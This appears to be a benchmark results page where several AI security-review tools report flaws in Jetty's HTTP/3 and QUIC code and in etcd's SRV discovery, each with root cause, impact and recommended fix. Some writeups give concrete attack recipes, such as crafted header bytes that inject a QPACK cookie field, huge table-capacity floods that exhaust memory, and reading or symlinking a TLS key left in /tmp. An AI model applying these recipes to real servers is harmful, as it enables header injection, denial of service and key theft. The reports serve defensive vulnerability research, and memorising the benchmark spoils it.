A local unprivileged user on the same host reads /tmp/<alias>.key (default alias 'mykey') while Jetty runs and obtains the TLS private key of the HTTP/3 endpoint (impersonation of the server). Alternatively the user pre-creates that path as a symlink to a file writable by the Jetty user, which is then overwritten with PEM data. Or the user pre-creates the file world-writable so that it stays attacker-owned, and then reads it or swaps in a different key or certificate that quiche reloads for subsequent connections. The key also survives a JVM crash because deletion only occurs in doStop().
- Recommendation
-
Create the files with Files.createTempFile or Files.createFile using owner-only permissions (0600, O_EXCL, NOFOLLOW) in a private directory, validate that alias contains no path separators, and delete on JVM exit and on failure. Prefer passing key material to quiche in memory over writing it to disk. Also CWE-732: Do not write the private key to disk in clear. If quiche needs a file, create it with Files.createTempFile in a private directory using owner-only permissions (0600, e.g. PosixFilePermissions.asFileAttribute) and CREATE_NEW, with a random name. Delete it right after the quiche config is built or loaded, and use deleteOnExit/cleanup on failure. Better, load the key and certificate from memory if the binding allows it.
Claude Security (Opus 5.5)
Server TLS private key exported as PEM to the shared java.io.tmpdir with a predictable name and default (world-readable) permissions
jetty-core/jetty-quic/jetty-quic-server/src/main/java/org/eclipse/jetty/quic/server/QuicServerConnector.java:176Predicted severity: Medium- Root cause
-
Vulnerable symbol: doStart
Preconditions: Attacker has local unprivileged access to the host or to a shared tmp directory; Default umask (022) or a shared java.io.tmpdir
Offending code:
File[] pemFiles = keyPair.export(new File(System.getProperty("java.io.tmpdir")));
- Impact
-
Disclosure of the server's TLS private key to other local users, which enables server impersonation and MITM of HTTPS/HTTP3 traffic and bypasses the KeyStore's access control.
- Description
-
doStart() extracts the private key from the password-protected KeyStore and writes it unencrypted to <tmpdir>/<alias>.key using a plain FileOutputStream (SSLKeyPair.java:69). Nothing restricts the permissions, so umask 022 gives 0644. The file is reloaded from that path on every accepted connection (newQuicheConfig -> buildConfig). Also CWE-377: doStart() decrypts the server private key from the password-protected KeyStore configured in SslContextFactory and writes it as plaintext PEM to the world-writable, shared java.io.tmpdir (e.g. /tmp) under the fixed name <alias>.key/.crt. Any other local account can read it, or can pre-create or plant those paths before the server starts.
- Exploit scenario
-
Any unprivileged local user, or a co-tenant process sharing /tmp, reads /tmp/<alias>.key (for example /tmp/jetty.key or /tmp/mykey.key) while Jetty runs, or afterwards if Jetty crashed before doStop() deleted it. That gives them the server's private key, which is the same key the HTTPS connectors use, without knowing the KeyStore password. On hosts without fs.protected_regular or protected_symlinks, the attacker can also pre-create the predictable file or a symlink to take ownership of the key or redirect the write.
- Recommendation
-
Write the PEM files to a dedicated private directory created with owner-only permissions (0700), and create the files atomically with POSIX permissions rw------- (Files.createFile with PosixFilePermissions, CREATE_NEW, no symlink following). Use unpredictable names, or pass the key to quiche in memory instead of through the filesystem. Also CWE-377: Never write the private key into java.io.tmpdir. Require an explicitly configured, private PEM work directory owned by the server user with mode 0700. Create the files atomically with owner-only permissions (Files.newOutputStream with CREATE_NEW plus PosixFilePermissions rw-------, or Files.createFile with FileAttribute). Use unique or random filenames, refuse to follow pre-existing files or symlinks, and delete them reliably (including on startup failure).
Vercel Security Review
QUIC startup exports the TLS private key into a predictable shared temporary file
jetty-core/jetty-quic/jetty-quic-server/src/main/java/org/eclipse/jetty/quic/server/QuicServerConnector.java:176Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Server startup exports its keystore key into the shared temporary directory** -
jetty-core/jetty-quic/jetty-quic-server/src/main/java/org/eclipse/jetty/quic/server/QuicServerConnector.java:176-178```java title="jetty-core/jetty-quic/jetty-quic-server/src/main/java/org/eclipse/jetty/quic/server/QuicServerConnector.java:176-178"
File[] pemFiles = keyPair.export(new File(System.getProperty("java.io.tmpdir")));
privateKeyFile = pemFiles[0];
certificateChainFile = pemFiles[1];
```
**2. Predictable filenames and default permissions expose the unencrypted key** -
jetty-core/jetty-quic/jetty-quic-quiche/jetty-quic-quiche-common/src/main/java/org/eclipse/jetty/quic/quiche/SSLKeyPair.java:65-68```java title="jetty-core/jetty-quic/jetty-quic-quiche/jetty-quic-quiche-common/src/main/java/org/eclipse/jetty/quic/quiche/SSLKeyPair.java:65-68"
files[0] = new File(targetFolder, alias + ".key");
files[1] = new File(targetFolder, alias + ".crt");
try (FileOutputStream fos = new FileOutputStream(files[0]))
```
With a shared temporary directory and a normal readable umask, another local user can read the exported TLS private key without the keystore password and impersonate the server. The files remain until connector shutdown; no owner-only permissions or exclusive creation are applied.
- Exploit scenario
-
Not specified.
- Recommendation
-
Export into a freshly created, owner-only temporary directory. Create key files exclusively with owner read/write permissions, reject symlinks, and delete exported material reliably when no longer needed. Do not use keystore aliases as shared temporary filenames.
-
Incorrect QPACK encoding when multi-byte characters are used eclipse-jetty-24 · 4 writeups Medium
V12
Raw string framing counts characters instead of bytes
jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/internal/EncodableEntry.java:164Predicted severity: Medium- Root cause
-
Raw string serialization calculates wire lengths and buffer sizes in UTF-16 code units while emitting default-charset bytes. No common byte representation is computed and reused for sizing, prefixing, and writing.
- Impact
-
If local metadata contains reflected non-ASCII values and the default charset encodes them using multiple bytes, the peer can receive a truncated value followed by attacker-influenced QPACK syntax or reject the connection. This supports conditional field/instruction desynchronization and availability impact; no particular downstream authorization bypass or cross-user disclosure is established.
- Description
-
Non-Huffman field representations prefix strings with
String.length()and then emitString.getBytes()using the JVM default charset. For a multibyte default charset, these two operations disagree even for a single non-ASCII character. The same character-count assumption is used in required-size calculations and in both insertion-instruction generators. Thus a raw field can leave additional bytes to be parsed as subsequent QPACK fields or instructions, while exact-size pre-encoding can overflow instead. This is a concrete framing mismatch independent of choosing a particular normative character encoding for HTTP fields.
Devin Security (Deep)
Insert-with-name-reference instruction undersizes its buffer and mislabels multi-byte values, which can break or desynchronize the encoder stream
jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/internal/instruction/IndexedNameEntryInstruction.java:58Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A peer that can shape an indexed response header can make Jetty crash the QPACK encoder stream and drop the HTTP/3 connection, or send a corrupted table insert, but this only affects that connection and gives no access to data.
##### What's wrong
This is a buffer sizing error plus a length-prefix mismatch. The instruction's buffer size counts the index continuation bytes and two prefix bytes. It leaves out the continuation bytes of the value-length integer. When the value is long enough to need those bytes and the pooled buffer has no slack, writing the instruction throws
BufferOverflowException. The non-Huffman branch also writes_value.length()as the length and then writes_value.getBytes()in the platform charset. A value with multi-byte characters therefore puts extra bytes on the encoder stream, and the peer parses them as further table instructions.##### Who can do it
Mallory connects anonymously to Alice's Jetty HTTP/3 server and sets a large table capacity. She then makes the server echo a header value whose Huffman-encoded length lands exactly on a pool bucket boundary, such as 4094 bytes for the 4096-byte bucket.
- The server inserts a response header whose value Mallory can shape into the dynamic table, by name reference.
- For the overflow case, the computed size lands exactly on an
ArrayByteBufferPoolbucket boundary. The default factor is 4096.- For the multi-byte case, the header is both indexable and non-Huffman. Only
Proxy-AuthenticateandProxy-Authorizationqualify, andProxyHandlerstrips both, so this case is rarely reachable.##### What they get
In the overflow case, the
InstructionFlusherfails and closes Mallory's HTTP/3 connection. In the multi-byte case, the extra bytes land on the encoder stream and desynchronize the peer's dynamic table. The peer then decodes later headers with the wrong table entries. Either way, only the connection that carries the bad header is affected.##### How it works
1.
encodecomputessize = octetsNeeded(6, index) + valueLen + 2, leaving outoctetsNeeded(7, valueLen)(IndexedNameEntryInstruction.java:58).2. It writes the 7-bit value length, which needs one or more extra bytes when the length is 127 or more, and then the value (
IndexedNameEntryInstruction.java:68-78).3. If the pooled buffer has exactly
sizebytes, the final put throwsBufferOverflowExceptioninsideInstructionFlusher.process, and the flusher closes the session.4. In the non-Huffman branch,
_value.length()is written but_value.getBytes()can be longer, so the peer reads the leftover bytes as a new instruction (IndexedNameEntryInstruction.java:76-78). - Exploit scenario
-
Not specified.
- Recommendation
-
Compute the size from the exact encoded form:
1 + octetsNeeded(6, index) + 1 + octetsNeeded(7, valueLen) + valueLen. HerevalueLenis the Huffman length or the length of one byte array made with an explicit charset, and the code must write that same array. Fall back to non-Huffman whenHuffmanEncoder.octetsNeededreturns -1. To check the fix, add a test that encodes this instruction into a pool withfactor=1, so buffers have exactly the requested size, for value lengths of 126, 127, 4094 and 5000 and for a value with 0xE9 characters. Parse the result withDecoderInstructionParserand assert that the value round-trips with no extra bytes left over.
Claude Security (Sonnet 5.5)
QPACK encoder writes literal values with platform-charset getBytes() while advertising String.length(), allowing field-line framing corruption and injection
jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/internal/EncodableEntry.java:238Predicted severity: Low- Root cause
-
Vulnerable symbol: EncodableEntry.LiteralEntry.encode
Preconditions: JVM default charset is multi-byte for the characters used (always UTF-8 on Java 18+); Attacker-influenced non-ASCII value in Authorization, Content-MD5, Proxy-Authenticate or Proxy-Authorization (or any field encoded with huffman=false); The Jetty HTTP/3 stack is the encoder (HTTP/3 client transport or response path)
Offending code:
buffer.put(value.getBytes());
- Impact
-
Header injection toward HTTP/3 peers and QPACK stream desynchronisation (response or request corruption, connection teardown) when attacker-influenced non-ASCII values reach non-Huffman headers.
- Description
-
For non-Huffman literals (Authorization, Content-MD5, Proxy-Authenticate, Proxy-Authorization) the length prefix is value.length() (chars) but the bytes written are value.getBytes() (default charset, UTF-8 on Java 18+). Any non-ASCII char adds bytes beyond the declared length, which the peer decoder parses as additional field lines.
- Exploit scenario
-
A Jetty HTTP/3 client or proxy forwards an attacker-supplied Authorization or Proxy-Authorization header (for example an HTTP/1.1 header with Latin-1 bytes such as 0xE9, or a Unicode value from an unvalidated QPACK request) over HTTP/3 on a JVM whose default charset is UTF-8. The attacker appends k non-ASCII characters and an ASCII tail of at least k bytes crafted as a QPACK 'literal field line with literal name' (first byte 0x21-0x26, ASCII name, length byte >= 0x20, ASCII value). The decoder reads value.length() bytes, then parses the tail as a new, attacker-chosen header (for example x-forwarded-for or cookie) on the upstream request, bypassing proxy header sanitising. Values with non-ASCII characters in Huffman-coded headers instead make octetsNeeded() return -1 and HuffmanEncoder.encode throw, which fails the whole HTTP/3 session.
- Recommendation
-
Encode names and values to bytes once (ISO-8859-1 or reject non-ASCII), compute the length from the byte array, and write that same array. Never use the platform charset. Validate that header values contain only legal octets before encoding.
Claude Security (Opus 5.5)
QPACK encoder writes the length of non-Huffman values in chars but the bytes in the platform charset, so attacker-shaped values can inject field lines
jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/internal/EncodableEntry.java:176Predicted severity: Medium- Root cause
-
Vulnerable symbol: ReferencedNameEntry.encode
Preconditions: Jetty acts as the HTTP/3 encoder (HttpClient/proxy over HTTP/3, or the server sending one of the four DO_NOT_HUFFMAN headers); An attacker controls a value of Authorization, Proxy-Authorization, Proxy-Authenticate or Content-MD5 that contains non-ASCII characters (for example, forwarded from an HTTP/1.1 client using obs-text); The default JVM charset is a multi-byte charset such as UTF-8 (always the case on JDK 18+)
Offending code:
buffer.put(value.getBytes());
- Impact
-
Header injection and request tampering on the upstream HTTP/3 server: header-based filtering at the proxy is bypassed and trusted headers can be spoofed. A response that carries one of these headers could similarly have fields injected toward an HTTP/3 client.
- Description
-
For headers in DO_NOT_HUFFMAN (Authorization, Content-MD5, Proxy-Authorization, Proxy-Authenticate), the string-literal length prefix is value.length() (UTF-16 chars), but the payload is value.getBytes() in the default charset (UTF-8). Any char >= 0x80 makes the payload longer than the declared length. The receiving QPACK decoder then reads the leftover bytes as new field lines, so a value whose tail the attacker controls is turned into extra headers.
- Exploit scenario
-
A Jetty ProxyHandler (or any Jetty HttpClient application) forwards the client's Authorization header to an HTTP/3 upstream through HttpClientTransportOverHTTP3. Over HTTP/1.1 the attacker sends 'Authorization: ' + 44 bytes of 0xE9 + 'U*' + 42 printable chars. The front parser turns this into 44 Latin-1 chars plus 44 ASCII chars, so value.length() = 88. UTF-8 encodes it as 132 bytes. The upstream decoder takes the first 88 bytes (the encoded é's) as the Authorization value. It then parses the remaining 44 attacker bytes as a new field line: 0x55 is a static name reference to 'cookie' and 0x2A gives a 42-byte value. The upstream request therefore gains an attacker-chosen header (cookie, x-forwarded-for, or an internal auth header) that the proxy never saw and could not strip.
- Recommendation
-
Compute the length from the bytes actually written: either encode as ISO-8859-1/ASCII and reject or replace chars outside that range, or use value.getBytes(UTF_8) and write bytes.length as the prefix, as HpackEncoder.encodeValue does. Apply the same fix to LiteralEntry, IndexedNameEntryInstruction and LiteralNameEntryInstruction, and fix getRequiredSize to match.
-
No limits on maximum capacity in QPACK decoder eclipse-jetty-25 · 7 writeups High
V12
Peer-selected capacity bypasses the table memory budget
jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/QpackDecoder.java:345Predicted severity: High- Root cause
-
The decoder has no independently configured maximum table capacity;
onSetDynamicTableCapacity()treats an untrusted requested capacity as the storage limit itself. - Impact
-
An HTTP/3 peer can make the process retain a dynamic table far larger than the operator's advertised budget, consuming shared Java heap. Heap exhaustion and disruption of unrelated sessions are plausible consequences of filling this attacker-sized table; no runtime exhaustion test was executed.
- Description
-
Peer Set Dynamic Table Capacity instructions reach
QpackDecoder.InstructionHandler.onSetDynamicTableCapacity()without comparison to a locally advertised maximum. The callback assigns the peer value directly toDynamicTable, whose insertion checks enforce only that peer-selected capacity.ServerHTTP3Sessionsends the settings returned byonPreface()but does not install their maximum table capacity in the decoder; the default listener supplies no settings. A peer can therefore raise its decoder table budget and retain large numbers of distinct literal entries even when no dynamic-table capacity was advertised. This is a retained-memory limit bypass, not merely a discrepancy in advertised settings.
Devin Security (Deep)
QPACK decoder accepts any dynamic table capacity from the peer, letting one client store gigabytes of headers
jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/internal/table/DynamicTable.java:199Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
An anonymous HTTP/3 client can make the server keep up to about 2 GB of header data per connection, and a few connections can exhaust the JVM heap and take the server down.
##### What's wrong
This is a missing resource limit. RFC 9204 says the decoder must reject a Set Dynamic Table Capacity instruction above the SETTINGS_QPACK_MAX_TABLE_CAPACITY it advertised. Jetty's server advertises no value, so the limit is 0.
DynamicTable.setCapacitystores whatever capacity the peer sends, with no upper bound. Later inserts are checked only against that peer-chosen capacity.##### Who can do it
Alice runs Acme Corp's site on Jetty with HTTP/3 enabled. Mallory, an anonymous internet user, opens a QUIC connection and its QPACK encoder stream. She sends "set capacity 2147483647" and then a stream of Insert With Literal Name instructions carrying large values.
- The HTTP/3 connector is enabled and reachable over UDP.
- No account or prior state is needed.
##### What they get
Each connection pins up to about 2^31 characters of header data in the server's memory for the life of the connection. A handful of connections push the JVM into OutOfMemoryError. Then all of Acme's users on every protocol lose service until the server restarts. Mallory gets no data.
##### How it works
1.
DecoderInstructionParser.parseSetDynamicTableCapacitydecodes the peer's capacity integer and calls the handler at DecoderInstructionParser.java:212-219.2.
QpackDecoder.InstructionHandler.onSetDynamicTableCapacitypasses it straight to the table at QpackDecoder.java:346-349.3.
DynamicTable.setCapacityassigns_capacity = capacitywith no maximum at DynamicTable.java:199-201.4.
DynamicTable.addaccepts each entry as long asentrySize + _size <= _capacityat DynamicTable.java:69-75, so entries pile up until the peer's limit is reached.5.
ServerHTTP3Session.onStartsends no SETTINGS_QPACK_MAX_TABLE_CAPACITY ("TODO: add default settings") at ServerHTTP3Session.java:110-114, and the decoder has no field to check against. - Exploit scenario
-
Not specified.
- Recommendation
-
Add a
maxTableCapacitytoQpackDecoder(configurable throughHTTP3Configuration, default 0 or a small value such as 4096), advertise it in the server SETTINGS frame, and inonSetDynamicTableCapacitythrow aQpackException.SessionExceptionwith QPACK_ENCODER_STREAM_ERROR when the requested capacity exceeds it. To verify, add a unit test that feeds the decoder a Set Dynamic Table Capacity instruction above the configured maximum and asserts a session error, and one that checks inserts fail when the capacity is 0.
Devin Security
QPACK decoder accepts any dynamic table capacity the peer sends, which allows memory exhaustion
jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/internal/table/DynamicTable.java:199Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
An anonymous HTTP/3 client can make the server hold up to about 2 GB of header data per connection, and a few connections can exhaust server memory.
##### What's wrong
This is a missing resource bound. The QPACK decoder sets the dynamic table capacity to whatever value the client sends in a Set Dynamic Table Capacity instruction. It never compares that value to the maximum capacity the server advertised. The server sends no
SETTINGS_QPACK_MAX_TABLE_CAPACITYsetting, so the protocol limit is 0.DynamicTable.setCapacitystores the value as given.##### Who can do it
Mallory, an anonymous internet user, opens HTTP/3 connections to Acme's Jetty server. On the QPACK encoder stream she sends a capacity of 2147483647. She then sends a steady stream of Insert With Literal Name instructions that carry large values.
- The server has the HTTP/3 (QUIC) connector enabled.
- Mallory can send UDP traffic to the server.
##### What they get
The server keeps every inserted entry until the table reaches the capacity Mallory chose. That is up to about 2 GB per connection, and a few connections run the JVM out of memory. This takes down every site on that server. It does not expose any data.
##### How it works
1.
DecoderInstructionParser.parseSetDynamicTableCapacitydecodes the capacity integer from the peer and passes it on.2.
QpackDecoder.InstructionHandler.onSetDynamicTableCapacitycallssetCapacity(capacity)without checking a maximum (QpackDecoder.java:346-349).3.
DynamicTable.setCapacitystores the value as given (DynamicTable.java:199-201).4. Each insert instruction calls
DynamicTable.add. This only evicts entries when the new entry does not fit within the attacker-chosen capacity (DynamicTable.java:47-71), so memory grows until that capacity is reached. - Exploit scenario
-
Not specified.
- Recommendation
-
Give QpackDecoder a configured maximum table capacity. Advertise it in SETTINGS, reject any Set Dynamic Table Capacity value above it with QPACK_ENCODER_STREAM_ERROR, and use the same value as MaxTableCapacity in decodeInsertCount. Also cap the length of encoder-stream strings in NBitStringParser. To verify, add a unit test that feeds a capacity instruction above the limit to QpackDecoder.parseInstructions and asserts that it throws a session exception.
Codex Security (GPT-6 Sol)
QPACK peers can select an excessive dynamic-table capacity
jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/internal/parser/DecoderInstructionParser.java:212Predicted severity: Medium- Root cause
-
The instruction parser forwards a peer capacity to
QpackDecoder.onSetDynamicTableCapacity(), which callsDynamicTable.setCapacity()directly. Subsequent inserts are retained up to that untrusted value. - Impact
-
persistent per-connection memory growth; prerequisite: HTTP/3 connector enabled; peer sends capacity and insertions.
- Description
-
An HTTP/3 encoder instruction directly sets the decoder's dynamic-table capacity without comparison to a locally advertised maximum.
- Exploit scenario
-
QPACK encoder instruction stream -> retained dynamic table entries -> persistent per-connection memory growth
- Recommendation
-
Store the locally advertised maximum and reject peer capacity instructions above it before accepting inserts.
Claude Security (Sonnet 5.5)
Peer-supplied QPACK dynamic table capacity is applied without checking it against the locally advertised maximum, allowing unbounded server memory growth
jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/QpackDecoder.java:348Predicted severity: Medium- Root cause
-
Vulnerable symbol: QpackDecoder.InstructionHandler.onSetDynamicTableCapacity
Preconditions: HTTP/3 connector enabled; attacker only needs a QUIC connection and the ability to open a unidirectional stream
Offending code:
_context.getDynamicTable().setCapacity(capacity);
- Impact
-
Remote unauthenticated memory exhaustion (OutOfMemoryError) of the server through peer-controlled table sizing with a large memory-per-byte amplification.
- Description
-
The value comes straight from the Set Dynamic Table Capacity instruction on the client-controlled QPACK encoder stream (NBitIntegerParser.decodeInt, up to Integer.MAX_VALUE) and is installed as the table capacity; RFC 9204 requires it to be rejected if it exceeds the decoder's SETTINGS_QPACK_MAX_TABLE_CAPACITY, but no such comparison exists, so the client picks the size of the server-side table. Also CWE-770: The encoder-stream 'Set Dynamic Table Capacity' value is applied directly to the DynamicTable with no check against the (default 0) capacity the server advertised, so a client can make the server hold gigabytes of entries.
- Exploit scenario
-
After the QUIC/HTTP3 handshake, the attacker opens a QPACK encoder unidirectional stream (type 0x02) and sends Set Dynamic Table Capacity = 2^31-1 followed by millions of tiny 'Insert With Literal Name' instructions (3 bytes each, e.g. name 'a', empty value). Each is accounted as 33 bytes against the 2 GiB capacity but occupies on the order of 150-250 bytes of heap, and nothing ever evicts them, so a few hundred MB of encoder-stream traffic exhausts the JVM heap; many connections multiply the effect.
- Recommendation
-
Track the locally advertised SETTINGS_QPACK_MAX_TABLE_CAPACITY (0 if not advertised) and throw a QPACK_ENCODER_STREAM_ERROR session error when the Set Dynamic Table Capacity value exceeds it; additionally bound individual string lengths and the number of entries accepted from the encoder stream. Also CWE-770: Track the locally advertised maximum table capacity in the decoder and fail with QPACK_ENCODER_STREAM_ERROR if the encoder exceeds it; use a deque for the entry list.
Claude Security (Opus 5.5)
QPACK decoder accepts any dynamic-table capacity from the peer's encoder stream, unlike the HPACK path
jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/QpackDecoder.java:348Predicted severity: Medium- Root cause
-
Vulnerable symbol: InstructionHandler.onSetDynamicTableCapacity
Preconditions: HTTP/3 enabled on the server
Offending code:
_context.getDynamicTable().setCapacity(capacity);
- Impact
-
Remote, unauthenticated memory exhaustion (OutOfMemoryError) that takes down the whole server.
- Description
-
The peer's 'Set Dynamic Table Capacity' instruction on the QPACK encoder stream is applied to the server's decoder table without any upper bound. The server never advertises a capacity (SETTINGS are empty, so the RFC 9204 default of 0 applies). HPACK enforces _localMaxDynamicTableSize for the same operation.
- Exploit scenario
-
An unauthenticated client opens the QPACK encoder unidirectional stream and sends Set Dynamic Table Capacity = 2^31-1. It then sends many 'Insert With Literal Name' instructions with large values. Each entry is kept in the server's DynamicTable until the attacker-chosen capacity is reached, which can pin gigabytes per connection for as long as the connection lives. Several connections exhaust the heap. The instruction parser also accumulates one string of any declared length in a StringBuilder before any check.
- Recommendation
-
Add a locally configured maxTableCapacity to QpackDecoder and advertise it as SETTINGS_QPACK_MAX_TABLE_CAPACITY. Reject capacities above it with QPACK_ENCODER_STREAM_ERROR, as HpackDecoder does. Also bound string lengths in DecoderInstructionParser/NBitStringParser to the table capacity.
Vercel Security Review
QPACK lets the remote encoder choose an unrestricted dynamic-table capacity
jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/internal/parser/DecoderInstructionParser.java:206Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Network instructions supply the requested capacity directly to the decoder** -
jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/internal/parser/DecoderInstructionParser.java:206-209```java title="jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/internal/parser/DecoderInstructionParser.java:206-209"
if (capacity >= 0)
{
reset();
_handler.onSetDynamicTableCapacity(capacity);
```
**2. The peer's capacity becomes the memory limit without checking the advertised maximum** -
jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/QpackDecoder.java:342-345```java title="jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/QpackDecoder.java:342-345"
public void onSetDynamicTableCapacity(int capacity)
{
_context.getDynamicTable().setCapacity(capacity);
}
```
**3. Subsequent insertions retain entries under that attacker-selected limit** -
jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/internal/table/DynamicTable.java:73-76```java title="jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/internal/table/DynamicTable.java:73-76"
entry.setIndex(_absoluteIndex++);
_entries.add(entry);
_fieldMap.put(entry.getHttpField(), entry);
_nameMap.put(entry.getHttpField().getLowerCaseName(), entry);
```
An unauthenticated HTTP/3 client can enlarge the table far beyond the server's advertised capacity, then send insert/duplicate instructions until memory is exhausted. Request-header limits do not bound this independent encoder stream.
- Exploit scenario
-
Not specified.
- Recommendation
-
Track a local maximum QPACK dynamic-table capacity independently of the current capacity, wire it to the SETTINGS value advertised by this endpoint, and reject any encoder instruction exceeding it before changing the table.
-
-
etcd Go Distributed key-value datastore. Tasks 7 V12 4/7 Devin (Deep) 6/7 Devin 3/7 Codex Sec 0/7 Claude Sec 2/7 Claude Opus 1/7 Vercel 1/7
Distributed key-value datastore.
-
Gateway TLS endpoint validation only confirms TCP reachability etcd-1 · 4 writeups Medium
V12
Secure discovery accepts unauthenticated backend listeners
etcdmain/gateway.go:102Predicted severity: High- Root cause
-
Secure discovery equates successful TCP dialing with TLS authentication.
startGatewaytrusts the returned SRV records even though their advertised HTTPS scheme and configured CA were never checked in a TLS handshake. - Impact
-
An attacker able to influence discovery DNS can advertise an attacker-controlled listener and have it accepted despite
--insecure-discovery=falseand a configured trusted CA. Clients that rely on discovery authentication rather than independently verified end-to-end TLS can consequently send requests or credentials to the attacker; clients that independently verify backend TLS retain that protection. - Description
-
startGatewaypasses--trusted-ca-fileand the default-false--insecure-discoverysetting intodiscoverEndpoints, then uses the returned SRV records as TCP forwarding destinations. The discovery helper attempts to validate those destinations withValidateSecureEndpoints. That validator accepts anhttps://endpoint after callingt.Dial, butNewTransportassignsDialto a plainnet.Dialer.Dial; the configured TLS client settings are not used by that call. Consequently, any reachable TCP listener advertised in an HTTPS SRV record can pass discovery validation without presenting a certificate. The gateway subsequently forwards client connections to that listener, so its secure-discovery setting does not authenticate the selected backend.
Devin Security (Deep)
SRV endpoint validation never performs a TLS handshake, so the CA check does nothing
pkg/transport/tls.go:25Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
The etcd gateway and gRPC proxy treat any host that accepts a TCP connection as a verified cluster member, so someone who can fake Acme's DNS SRV records can get client traffic sent to their own server.
##### What's wrong
This is missing certificate validation.
ValidateSecureEndpointsis documented to return only the endpoints that "could be validated as secure". The gateway's--trusted-ca-fileis documented as "Used to authenticate endpoints". The function builds a TLS transport but only calls its rawDial, which opens a plain TCP connection. No TLS handshake happens, so the CA file andServerNameare never used and no certificate is checked.##### Who can do it
Alice, an operator at Acme Corp, starts
etcd gatewaywith--discovery-srv=acme.exampleand--trusted-ca-file=ca.crt. She expects the gateway to forward only to hosts that hold a certificate from her CA. Mallory can spoof or poison DNS answers on Acme's network. She returns an_etcd-client-sslSRV record that points at her own host, which listens on TCP. The gateway marks her host as validated and starts forwarding client connections to it.- The gateway or gRPC proxy uses
--discovery-srvwithout--insecure-discovery.- The attacker can control or spoof the DNS SRV answers that the gateway or proxy receives.
- The attacker runs a host that accepts TCP connections on the advertised port.
##### What they get
Mallory can send part or all of Acme's client traffic through the gateway to her server. Clients that verify the server certificate end to end will refuse her, so in that case she only causes an outage. Clients that skip server verification (for example
--insecure-skip-tls-verify) will talk to her, and she can read their requests and login credentials and return false data. The gRPC proxy still verifies the server certificate with--cacertwhen it connects, so it is less exposed than the gateway.##### How it works
1.
etcdmain/util.go:51-67builds aTLSInfowith the operator's CA and the discovery domain asServerName, then callsValidateSecureEndpointson the SRV results.2.
pkg/transport/tls.go:26creates anhttp.Transportthat holds the TLS settings inTLSClientConfig.3.
pkg/transport/tls.go:37callst.Dial, which is the plainnet.Dialer.Dial, so no TLS handshake or certificate check takes place.4.
pkg/transport/tls.go:42-43adds every endpoint that accepted TCP to the validated list.5.
etcdmain/gateway.go:102-139hands that list to the TCP proxy, which forwards client connections to those hosts. - Exploit scenario
-
Not specified.
- Recommendation
-
Run a real TLS handshake for each endpoint. For example, call
tls.DialWithDialer(dialer, "tcp", host, cfg)with theClientConfig()result, confirmServerNameand the CA are set, and keep the endpoint only if the handshake succeeds. Close the connection afterwards. Also refuse to start the gateway in secure discovery mode when no CA file is given. To check the fix, add a test that points an endpoint at a plain TCP listener and at a TLS server with an untrusted certificate, and confirm both are rejected while a server with a CA-signed certificate for the domain is accepted.
Claude Security (Sonnet 5.5)
SRV endpoint "validation" against the trusted CA only does a raw TCP dial, so no certificate is ever checked
etcdmain/util.go:67Predicted severity: Medium- Root cause
-
Vulnerable symbol: discoverEndpoints
Preconditions: Operator uses --discovery-srv without --insecure-discovery and expects --trusted-ca-file / --cacert to authenticate discovered endpoints; Attacker can forge DNS SRV responses and host a TCP listener; Downstream clients do not verify the backend certificate themselves (for the gateway case)
Offending code:
endpoints, err = transport.ValidateSecureEndpoints(tlsInfo, endpoints)
- Impact
-
The only defence against forged SRV records, the CA-based check behind --trusted-ca-file without --insecure-discovery, is ineffective. A DNS-level attacker can redirect the gateway to rogue endpoints. Clients that do not independently verify the server certificate, or that use --insecure-skip-tls-verify against the gateway address, expose their data and credentials. Verifying clients only see a denial of service. For grpc-proxy, clientv3 still verifies TLS at connect time, so the effect there is smaller.
- Description
-
discoverEndpoints builds a TLSInfo with the CA and ServerName and passes it to ValidateSecureEndpoints, then logs "using validated discovered SRV endpoints". That function (pkg/transport/tls.go:25) calls
t.Dial("tcp", ...)on an http.Transport, and Transport.Dial is the plain unencrypted dialer. No TLS handshake happens, so the CA and ServerName are never used. The only real check is the "https://" prefix. - Exploit scenario
-
An attacker who can spoof or poison the
_etcd-client-ssl._tcp.<domain>SRV answer, which has no DNSSEC protection, points it at an attacker host that accepts TCP on the advertised port.etcd gateway start --discovery-srv=<domain> --trusted-ca-file=ca.pem(oretcd grpc-proxy start --discovery-srv ...) accepts the endpoint as validated although its certificate was never examined. The gateway then forwards client connections to the attacker. - Recommendation
-
Perform a real TLS handshake in ValidateSecureEndpoints (for example tls.DialWithDialer with the CA-backed RootCAs and ServerName) and drop endpoints that fail verification. Do not log "validated" unless a handshake succeeded.
Vercel Security Review
Secure SRV discovery validates TCP connectivity instead of TLS identity
